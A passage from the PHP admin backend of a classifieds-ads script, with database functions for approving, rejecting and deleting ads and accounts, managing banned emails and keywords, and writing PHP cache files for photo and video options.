	SET ads_num = (SELECT COUNT(*) FROM ". PREFIX ."ads_search WHERE state = :state
	AND id_acc = (SELECT id_acc FROM ". PREFIX ."ads_search WHERE id_ad = :id_ad))
	WHERE id_acc = (SELECT id_acc FROM ". PREFIX ."ads_search WHERE id_ad = :id_ad)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 2);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Update date ad
////////////////////////////////

function update_date_ad($id_ad)
{
	global $conn;
	
	$bdd = $conn;
	
	$date = time();
	
	$sql = "UPDATE ". PREFIX ."ads_search SET date = :date WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('date', $date);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
}

////////////////////////////////
//Reject ad
////////////////////////////////

function reject_ad($id_ad)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "UPDATE ". PREFIX ."ads_search SET state = :state WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 3);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."shops 
	SET ads_num = (SELECT COUNT(*) FROM ". PREFIX ."ads_search WHERE state = :state
	AND id_acc = (SELECT id_acc FROM ". PREFIX ."ads_search WHERE id_ad = :id_ad))
	WHERE id_acc = (SELECT id_acc FROM ". PREFIX ."ads_search WHERE id_ad = :id_ad)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 2);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Delete ad
////////////////////////////////

function delete_ad_adm($id_ad)
{
	global $conn;
	
	$bdd = $conn;
	
	$images = get_ad_pictures($id_ad);

	if(is_array($images))
	{
		foreach($images as $v)
		{
			if(preg_match('#^https?://#', $v['name']) == false)
			{
				$del = "../upload/photos/". $v['name'];
				unlink($del);
			
				$del = "../upload/thumbnails/". $v['name'];
				unlink($del);
			}
		}
	}

	$sql = "DELETE FROM ". PREFIX ."ads WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_comments WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_fields WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_images WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_options WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_search WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_compagny WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_digital WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_data WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_check WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_video WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_files WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_calendar WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = 'SELECT id_purch FROM '.PREFIX.'purchases WHERE id_ad = :id_ad';
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$purchases = $req->fetchAll();
	$req->closeCursor();
	
	if($purchases && is_array($purchases)) {
		foreach($purchases as $urch)
			delete_purch($urch['id_purch']);
	}
	
	return true;	
}

////////////////////////////////
//Blacklisted email
////////////////////////////////

function blacklisted_email($email)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "INSERT INTO ". PREFIX ."blacklist VALUES(:email) ON DUPLICATE KEY UPDATE email = VALUES(email)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();
	
	return true;	
}	

////////////////////////////////
//Caching blacklist email
/////////////////////////////////

function create_cache_blacklist()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT email FROM ". PREFIX ."blacklist";
	$req = $bdd->prepare($sql);
	
	$req->execute();

	$result = $req->fetchAll();
	
$cache_blacklist = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Blacklist email
////////////////////////////////// '. "\n" .' 
$blacklist = array(';
	
	foreach($result as $v)
	{
		$email = addslashes($v['email']);
		
$cache_blacklist .= '
\''. $email .'\',';
	}
	
$cache_blacklist .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_blacklist.php', $cache_blacklist);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_blacklist.php');

	return true;
}

////////////////////////////////
//Caching blacklist keywords
/////////////////////////////////

function create_cache_blacklist_keywords($keywords)
{
	$keywords = addslashes($keywords);
	
$cache_blacklist_keywords = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Blacklist keywords
////////////////////////////////// '. "\n" .' 
$blacklist_keywords = array(
\'keywords\'   =>	\''. $keywords .'\',
);';
	
	file_put_contents('../includes/cache/cache_blacklist_keywords.php', $cache_blacklist_keywords);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_blacklist_keywords.php');

	return true;
}

////////////////////////////////
//Delete image
////////////////////////////////

function delete_image($name, $id_ad)
{
	global $conn;
	
	$bdd = $conn;
	
	if(preg_match('#^https?://#', $name) == false)
	{
		$del = "../upload/photos/". $name;
		unlink($del);
	
		$del = "../upload/thumbnails/". $name;
		unlink($del);
	}

	$sql = "DELETE FROM ". PREFIX ."ads_images WHERE name = :name";
	$req = $bdd->prepare($sql);

	$req->bindValue('name', $name);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."ads SET pictures_num = pictures_num - 1 WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."ads_search SET picture_num = IF((SELECT pictures_num FROM ". PREFIX ."ads WHERE id_ad = :id_ad) = 0, 0, 1) WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	return true;		
}	

////////////////////////////////
//Delete video
////////////////////////////////

function delete_video($id_ad)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "DELETE FROM ". PREFIX ."ads_video WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."ads_search SET video_num = :video_num WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);

	$req->bindValue('video_num', 0);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	return true;		
}

////////////////////////////////
//Get total number of accounts
////////////////////////////////

function get_acc_total_num($state, $type)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT count(*) as total FROM ". PREFIX ."accounts WHERE state = :state AND type = :type";		
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->bindValue('type', $type);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	return $result['total'];
}

////////////////////////////////
//Get number of accounts
////////////////////////////////
	
function get_acc_num($state, $type, $array) 
{
	global $conn, $language_adm;
	
	$bdd = $conn;
	
	$id_acc = (!empty($array['id_acc'])) ? (int) $array['id_acc'] : 0;
	$email = (!empty($array['email'])) ? $array['email'] : '';
	$id_reg = (!empty($array['reg'])) ? (int) $array['reg'] : 0;
	$id_cat = (!empty($array['cat'])) ? (int) $array['cat'] : 0;
	
	$condition = '';
	$condition .= (!empty($id_acc)) ? " AND id_acc = :id_acc" : '';
	$condition .= (!empty($email)) ? " AND email = :email" : '';
	$condition .= (!empty($id_reg)) ? " AND id_reg = :id_reg" : '';
	$condition .= (!empty($id_cat)) ? " AND id_cat = :id_cat" : '';
	
	$sql = "SELECT COUNT(*) AS id_acc FROM ". PREFIX ."accounts WHERE state = :state AND type = :type ". $condition ."";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->bindValue('type', $type);
	
	if(!empty($id_acc))
	$req->bindValue('id_acc', $id_acc);
	
	if(!empty($email))
	$req->bindValue('email', $email);
	
	if(!empty($id_reg))
	$req->bindValue('id_reg', $id_reg);
	
	if(!empty($id_cat))
	$req->bindValue('id_cat', $id_cat);
	
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	return $result['id_acc'];
}

////////////////////////////////
//Get accounts
////////////////////////////////
	
function get_accs($state, $type, $array, $offset, $limit) 
{
	global $conn, $language_adm;
	
	$bdd = $conn;
	
	$id_acc = (!empty($array['id_acc'])) ? (int) $array['id_acc'] : 0;
	$email = (!empty($array['email'])) ? $array['email'] : '';
	$id_reg = (!empty($array['reg'])) ? (int) $array['reg'] : 0;
	$id_cat = (!empty($array['cat'])) ? (int) $array['cat'] : 0;
	$limit = (int) $limit;
	$offset = (int) $offset;
	
	$condition = '';
	$condition .= (!empty($id_acc)) ? " AND a.id_acc = :id_acc" : '';
	$condition .= (!empty($email)) ? " AND a.email = :email" : '';
	$condition .= (!empty($id_reg)) ? " AND a.id_reg = :id_reg" : '';
	$condition .= (!empty($id_cat)) ? " AND a.id_cat = :id_cat" : '';
	
	$sql = "SELECT a.id_acc, a.id_reg, a.id_county, a.id_cat, a.email, a.comp_name, a.comp_num, a.civility, a.name, a.first_name, a.address, a.postcode, a.city, a.phone, a.email, a.ip, a.date_crea, MAX(s.id_shop) as id_shop, MAX(d.id_ad) as id_ad
	FROM ". PREFIX ."accounts a
	LEFT JOIN ".PREFIX."shops s ON s.id_acc = a.id_acc
	LEFT JOIN ".PREFIX."ads_search d ON d.id_acc = a.id_acc AND d.state = 2
	WHERE a.state = :state AND a.type = :type ". $condition ." GROUP BY a.id_acc ORDER BY a.id_acc DESC LIMIT $offset, $limit";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->bindValue('type', $type);
	
	if(!empty($id_acc))
	$req->bindValue('id_acc', $id_acc);
	
	if(!empty($email))
	$req->bindValue('email', $email);
	
	if(!empty($id_reg))
	$req->bindValue('id_reg', $id_reg);
	
	if(!empty($id_cat))
	$req->bindValue('id_cat', $id_cat);
	
	$req->execute();

	$result = $req->fetchAll();
	
	return $result;	
}

////////////////////////////////
//Validate acccount
////////////////////////////////

function validate_acc($id_acc)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "UPDATE ". PREFIX ."accounts SET state = :state WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 2);
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	$sql = "SELECT email FROM ". PREFIX ."accounts WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	update_ads_account($result['email'], $id_acc);
	
	return true;
}

////////////////////////////////
//Reject account
////////////////////////////////

function reject_acc($id_acc)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "UPDATE ". PREFIX ."accounts SET state = :state WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 3);
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Delete account
////////////////////////////////

function delete_acc($id_acc)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT id_shop, logo_name FROM ". PREFIX ."shops WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(!empty($result['logo_name']))
	{
		$del = "../upload/logos/". $result['logo_name'];
		unlink($del);
	}

	$sql = "DELETE FROM ". PREFIX ."accounts WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();

	$sql = "DELETE FROM ". PREFIX ."accounts_credit WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();

	$sql = "DELETE FROM ". PREFIX ."accounts_packs WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();

	$sql = "DELETE FROM ". PREFIX ."accounts_search WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."shops WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."ads_search SET id_acc = 0 WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	$sql = 'SELECT id_purch FROM '.PREFIX.'purchases WHERE id_acc = :id_acc';
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$purchases = $req->fetchAll();
	$req->closeCursor();
	
	if($purchases && is_array($purchases)) {
		foreach($purchases as $urch)
			delete_purch($urch['id_purch']);
	}
	
	if($result && isset($result['id_shop'])) {	
		$sql = "DELETE FROM ". PREFIX ."shops_options WHERE id_shop = :id_shop";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_shop', $result['id_shop']);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."shops_packs WHERE id_acc = :id_acc";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_acc', $id_acc);
		$req->execute();
		$req->closeCursor();
	
		$sql = "DELETE FROM ". PREFIX ."shops_comments WHERE id_shop = :id_shop";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_shop', $result['id_shop']);
		$req->execute();
		$req->closeCursor();
		
		$sql = 'SELECT id_purch FROM '.PREFIX.'purchases WHERE id_shop = :id_shop';
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_shop', $result['id_shop']);
		$req->execute();
		$purchases = $req->fetchAll();
		$req->closeCursor();
		
		if($purchases && is_array($purchases)) {
			foreach($purchases as $urch)
				delete_purch($urch['id_purch']);
		}
	}
	return true;	
}

////////////////////////////////
//Get account
////////////////////////////////
	
function get_acc($id_acc)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "SELECT s.id_acc, s.id_reg, s.id_county, s.id_cat, s.comp_name, s.comp_num, s.civility, s.name, s.first_name, pseudo, pseudo_display, s.address, s.postcode, s.city, s.phone, s.email, s.type, c.credits, ap.id_acc as id_acc_pack, ap.days, ap.ads, ap.limit_1 as unlimited_days, ap.limit_2 as unlimited_ads, ap.time as time_pack, sp.id_acc as id_acc_shop, sp.days as shop_days, sp.limit_1 as unlimited_shop, sp.time as time_shop
	FROM ". PREFIX ."accounts s
	LEFT JOIN ". PREFIX ."accounts_credit c ON s.id_acc = c.id_acc
	LEFT JOIN ". PREFIX ."accounts_packs ap ON s.id_acc = ap.id_acc
	LEFT JOIN ". PREFIX ."shops_packs sp ON s.id_acc = sp.id_acc
	WHERE s.id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	
	$result = $req->fetch();
	
	if(empty($result))
	return false;
	
	else return $result;	
}

////////////////////////////////
//Update account
////////////////////////////////

function update_acc($id_acc, $array)
{
	global $conn, $id_acc_pack, $id_acc_shop;
	
	$bdd = $conn;
	
	$id_cat = (!empty($array['cat'])) ? $array['cat'] : 0;
	$id_county = (!empty($array['county'])) ? (int) $array['county'] : 0;
	$comp_name = (!empty($array['comp_name'])) ? $array['comp_name'] : '';
	$comp_num = (!empty($array['comp_num'])) ? $array['comp_num'] : '';
	$postcode = (!empty($array['postcode'])) ? $array['postcode'] : '';
	$city = (!empty($array['city'])) ? $array['city'] : '';
	$phone = (!empty($array['phone'])) ? $array['phone'] : '';
	$credits = isset($array['credits']) ? (float) $array['credits'] : 0;
	$pseudo = (isset($array['pseudo'])) ? $array['pseudo'] : '';
	$pseudo_display = (!empty($array['pseudo_display'])) ? $array['pseudo_display'] : 0;
	$unlimited_days_update = isset($array['unlimited_days']) ? (int) $array['unlimited_days'] : 0;
	$pack_nb_days = isset($array['pack_nb_days']) && empty($unlimited_days_update) ? (int) $array['pack_nb_days'] : 0;
	$unlimited_ads_update = isset($array['unlimited_ads']) ? (int) $array['unlimited_ads'] : 0;
	$pack_nb_ads = isset($array['pack_nb_ads']) && empty($unlimited_ads_update) ? (int) $array['pack_nb_ads'] : 0;
	$unlimited_shop_update = isset($array['unlimited_shop']) ? (int) $array['unlimited_shop'] : 0;
	$days_shop = isset($array['days_shop']) && empty($unlimited_shop_update) ? (int) $array['days_shop'] : 0;
	
	$sql = "UPDATE ". PREFIX ."accounts SET id_reg = :id_reg, id_county = :id_county, id_cat = :id_cat, comp_name = :comp_name, comp_num = :comp_num, civility = :civility, name = :name, first_name = :first_name, pseudo = :pseudo, pseudo_display = :pseudo_display, address = :address, postcode = :postcode, city = :city, phone = :phone, email = :email WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_reg', $array['reg']);
	$req->bindValue('id_county', $id_county);
	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('comp_name', $comp_name);
	$req->bindValue('comp_num', $comp_num);
	$req->bindValue('civility', $array['civ']);
	$req->bindValue('name', $array['name']);
	$req->bindValue('first_name', $array['first_name']);
	$req->bindValue('pseudo', $pseudo);
	$req->bindValue('pseudo_display', $pseudo_display);
	$req->bindValue('address', $array['add']);
	$req->bindValue('postcode', $postcode);
	$req->bindValue('city', $city);
	$req->bindValue('phone', $phone);
	$req->bindValue('email', $array['email']);
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."shops SET id_reg = :id_reg, id_county = :id_county, id_cat = :id_cat, name = :name WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_reg', $array['reg']);
	$req->bindValue('id_county', $id_county);
	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('id_acc', $id_acc);
	$req->bindValue('name', $comp_name);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."ads_compagny c 
	LEFT JOIN ". PREFIX ."ads_search s ON c.id_ad = s.id_ad
	SET s.id_reg = :id_reg, s.id_county = :id_county, c.comp_name = :comp_name, c.comp_num = :comp_num WHERE id_acc = :id_acc";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_reg', $array['reg']);
	$req->bindValue('id_county', $id_county);
	$req->bindValue('comp_name', $comp_name);
	$req->bindValue('comp_num', $comp_num);
	$req->bindValue('id_acc', $id_acc);
	$req->execute();
	$req->closeCursor();
	
	//Update name of ads
	
	//Update ads name
	
	if(!empty($comp_name))
	{
		$sql = "UPDATE ". PREFIX ."ads_compagny c
		LEFT JOIN ". PREFIX ."ads_search s ON c.id_ad = s.id_ad
		SET c.comp_name = :comp_name WHERE s.id_acc = :id_acc";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('comp_name', $comp_name);
		$req->bindValue('id_acc', $id_acc);
		$req->execute();
		$req->closeCursor();
	}
	else
	{
		$name = $pseudo_display == 1 ? $pseudo : $array['name'];

		$sql = "UPDATE ". PREFIX ."ads a
		LEFT JOIN ". PREFIX ."ads_search s ON a.id_ad = s.id_ad
		SET a.name = :name WHERE s.id_acc = :id_acc";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('name', $name);
		$req->bindValue('id_acc', $id_acc);
		$req->execute();
		$req->closeCursor();
	}
	
	//Insert or update credits
	
	if(!empty($credits))
	{
		$sql = "INSERT INTO ". PREFIX ."accounts_credit VALUES(NULL, :id_acc, :credits, :time) ON DUPLICATE KEY UPDATE credits = VALUES(credits)";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_acc', $id_acc);
		$req->bindValue('credits', $credits);
		$req->bindValue('time', time());
		$req->execute();
		$req->closeCursor();
	}
	
	//Insert or update pack account
	
	if(isset($array['pack_nb_days']) && (!empty($id_acc_pack) || !empty($unlimited_days_update) || !empty($pack_nb_days) || !empty($unlimited_ads_update) || !empty($pack_nb_ads)))
	{
		$limit_1 = !empty($unlimited_days_update) ? 0 : 1;
		$limit_2 = !empty($unlimited_ads_update) ? 0 : 1;
		
		$sql = "INSERT INTO ". PREFIX ."accounts_packs VALUES(:id_acc, :days, :ads, :limit_1, :limit_2, :time) ON DUPLICATE KEY UPDATE days = VALUES(days), ads = VALUES(ads), limit_1 = VALUES(limit_1), limit_2 = VALUES(limit_2), time = VALUES(time)";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_acc', $id_acc);
		$req->bindValue('days', $pack_nb_days);
		$req->bindValue('ads', $pack_nb_ads);
		$req->bindValue('limit_1', $limit_1);
		$req->bindValue('limit_2', $limit_2);
		$req->bindValue('time', time());
		$req->execute();
		$req->closeCursor();
	}
	
	//Insert or update pack shop
	
	if(isset($array['days_shop']) && (!empty($id_acc_shop) || !empty($array['days_shop']) || !empty($unlimited_shop_update)))
	{
		$limit_1 = !empty($unlimited_shop_update) ? 0 : 1;
		
		$sql = "INSERT INTO ". PREFIX ."shops_packs VALUES(:id_acc, :days, :limit_1, :time) ON DUPLICATE KEY UPDATE days = VALUES(days), limit_1 = VALUES(limit_1), time = VALUES(time)";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_acc', $id_acc);
		$req->bindValue('days', $days_shop);
		$req->bindValue('limit_1', $limit_1);
		$req->bindValue('time', time());
		$req->execute();
		$req->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Get total number of shops
////////////////////////////////
	
function get_shops_total_num() 
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT COUNT(*) AS total FROM ". PREFIX ."shops";
	$req = $bdd->prepare($sql);
	
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	$result = $result['total'];
	
	return $result;	
}

////////////////////////////////
//Get total number of ads comments
////////////////////////////////
	
function get_com_ads_total_num($state) 
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT COUNT(*) AS total FROM ". PREFIX ."ads_comments WHERE state = :state";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	$result = $result['total'];
	
	return $result;	
}

////////////////////////////////
//Get total number of comments shops
////////////////////////////////
	
function get_com_shops_total_num($state) 
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT COUNT(*) AS total FROM ". PREFIX ."shops_comments WHERE state = :state";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	$result = $result['total'];
	
	return $result;	
}

////////////////////////////////
//Get number of shops comments
////////////////////////////////
	
function get_comments_shops_num($state, $array) 
{
	global $conn, $language_adm;
	
	$bdd = $conn;
	
	$id_shop = (!empty($array['id_shop'])) ? (int) $array['id_shop'] : 0;
	
	$condition = '';
	$condition .= (!empty($id_shop)) ? " AND id_shop = :id_shop" : '';
	
	$sql = "SELECT COUNT(*) AS id_com FROM ". PREFIX ."shops_comments 
	WHERE state = :state ". $condition ."";
	$req = $bdd->prepare($sql);

	$req->bindValue('state', $state);
	
	if(!empty($id_shop))
	$req->bindValue('id_shop', $id_shop);
	
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	return $result['id_com'];	
}

///////////////////////////////////
///Check if the email is banned
//////////////////////////////////
	
function get_email_ban($email)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT email FROM ". PREFIX ."blacklist WHERE email = :email"; 
	$req = $bdd->prepare($sql);
	
	$req->bindValue('email', $email);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	if(empty($result))
	return false;
	
	else return true;
}

///////////////////////////////////
///Delete banned email
//////////////////////////////////
	
function delete_email_ban($email)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "DELETE FROM ". PREFIX ."blacklist WHERE email = :email"; 
	$req = $bdd->prepare($sql);
	
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();

	return true;
}

////////////////////////////////
//Get number of mails
////////////////////////////////
	
function get_mails_num($state) 
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT COUNT(id_mail) AS total FROM ". PREFIX ."mail_filter WHERE state = :state";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	$result = $result['total'];
	
	return $result;	
}

////////////////////////////////
//Caching photo options
/////////////////////////////////

function create_cache_photo_opt($array)
{
	$nb_photo_free = (int) $array['nb_photo_free'];
	$nb_photo_pay = 0;
	$price_pack = 0;
	
$photo_opt = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Photo option
////////////////////////////////// '. "\n" .' 
$cache_photo_opt = array(
\'nb_photo_free\'   	=>	\''. $nb_photo_free .'\',
\'nb_photo_pay\'        =>	\''. $nb_photo_pay .'\',
\'price_pack\'          =>	\''. $price_pack .'\',
);';
	
	file_put_contents('../includes/cache/cache_photo_opt.php', $photo_opt);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_photo_opt.php');

	return true;
}

////////////////////////////////
//Caching video options
/////////////////////////////////

function create_cache_video_opt($array)
{
	$act_video = (!empty($array['act_video'])) ? (int) $array['act_video'] : 0;
	$price_video = 0;
	
$video_opt = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Video option
////////////////////////////////// '. "\n" .' 
$cache_video_opt = array(
\'act_video\'       =>	\''. $act_video .'\',
\'price_video\'      =>	\''. $price_video .'\',
);';
	
	file_put_contents('../includes/cache/cache_video_opt.php', $video_opt);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_video_opt.php');

	return true;
}

////////////////////////////////
//Update automatic mail
//////////////////////////////////

function update_mail_auto($array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."mails_auto SET name = :name, email = :email WHERE type = :type";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('name', $array['name']);
	$req->bindValue('email', $array['email']);
	$req->bindValue('type', $array['type']);
	$req->execute();
	$req->closeCursor();
	
	$sql = "INSERT INTO ". PREFIX ."mails_auto_lang values(NULL, :id_mail, :code_lang, :title_lang, :message_lang) ON DUPLICATE KEY UPDATE title_lang = VALUES(title_lang), message_lang = VALUES(message_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_mail', $array['id_mail']);
			$req->bindValue('code_lang', $code_lang);
